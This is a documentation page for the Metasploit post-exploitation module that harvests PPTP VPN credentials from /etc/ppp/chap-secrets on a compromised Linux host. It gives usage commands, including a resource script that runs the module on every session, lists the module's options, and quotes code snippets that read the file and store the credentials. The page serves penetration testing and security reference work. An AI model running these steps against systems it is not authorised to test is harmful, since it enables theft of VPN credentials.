Linux Gather PPTP VPN chap-secrets Credentials - Metasploit


This page contains detailed information about how to use the post/linux/gather/pptpd_chap_secrets metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Linux Gather PPTP VPN chap-secrets Credentials
Module: post/linux/gather/pptpd_chap_secrets
Source code: modules/post/linux/gather/pptpd_chap_secrets.rb
Disclosure date: -
Last modification time: 2021-06-01 21:33:33 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module collects PPTP VPN information such as client, server, password, and IP from your target server's chap-secrets file.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/pptpd_chap_secrets

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/pptpd_chap_secrets
msf post(pptpd_chap_secrets) > show options
    ... show and set options ...
msf post(pptpd_chap_secrets) > set SESSION session-id
msf post(pptpd_chap_secrets) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/pptpd_chap_secrets")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the linux/gather/pptpd_chap_secrets post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/pptpd_chap_secrets

msf6 post(linux/gather/pptpd_chap_secrets) > show info

       Name: Linux Gather PPTP VPN chap-secrets Credentials
     Module: post/linux/gather/pptpd_chap_secrets
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  sinn3r <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting        Required  Description
  ----     ---------------        --------  -----------
  FILE     /etc/ppp/chap-secrets  yes       The default path for chap-secrets
  SESSION                         yes       The session to run this module on.

Description:
  This module collects PPTP VPN information such as client, server, 
  password, and IP from your target server's chap-secrets file.

Module Options

This is a complete list of options available in the linux/gather/pptpd_chap_secrets post exploitation module:

msf6 post(linux/gather/pptpd_chap_secrets) > show options

Module options (post/linux/gather/pptpd_chap_secrets):

   Name     Current Setting        Required  Description
   ----     ---------------        --------  -----------
   FILE     /etc/ppp/chap-secrets  yes       The default path for chap-secrets
   SESSION                         yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the linux/gather/pptpd_chap_secrets post exploitation module:

msf6 post(linux/gather/pptpd_chap_secrets) > show advanced

Module advanced options (post/linux/gather/pptpd_chap_secrets):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/gather/pptpd_chap_secrets module can do:

msf6 post(linux/gather/pptpd_chap_secrets) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the linux/gather/pptpd_chap_secrets post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/pptpd_chap_secrets) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to retrieve file. <E.MESSAGE>

Here is a relevant code snippet related to the "Failed to retrieve file. <E.MESSAGE>" error message:

32:	  #
33:	  def load_file(fname)
34:	    begin
35:	      data = read_file(fname)
36:	    rescue Rex::Post::Meterpreter::RequestError => e
37:	      print_error("Failed to retrieve file. #{e.message}")
38:	      data = ''
39:	    end
40:	    fail_with(Failure::BadConfig, "The file #{fname} does not exist or is not a readable file!") unless data
41:	    return data
42:	  end

The file <FNAME> does not exist or is not a readable file!

Here is a relevant code snippet related to the "The file <FNAME> does not exist or is not a readable file!" error message:

35:	      data = read_file(fname)
36:	    rescue Rex::Post::Meterpreter::RequestError => e
37:	      print_error("Failed to retrieve file. #{e.message}")
38:	      data = ''
39:	    end
40:	    fail_with(Failure::BadConfig, "The file #{fname} does not exist or is not a readable file!") unless data
41:	    return data
42:	  end
43:	
44:	
45:	  def report_cred(opts)

This file has no secrets: <FILE>

Here is a relevant code snippet related to the "This file has no secrets: <FILE>" error message:

105:	
106:	      tbl << [client, server, secret, ip]
107:	    end
108:	
109:	    if tbl.rows.empty?
110:	      print_status("This file has no secrets: #{datastore['FILE']}")
111:	    else
112:	      print_line(tbl.to_s)
113:	
114:	      p = store_loot(
115:	        'linux.chapsecrets.creds',

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See Also

Check also the following modules related to this module:

Authors

  • sinn3r

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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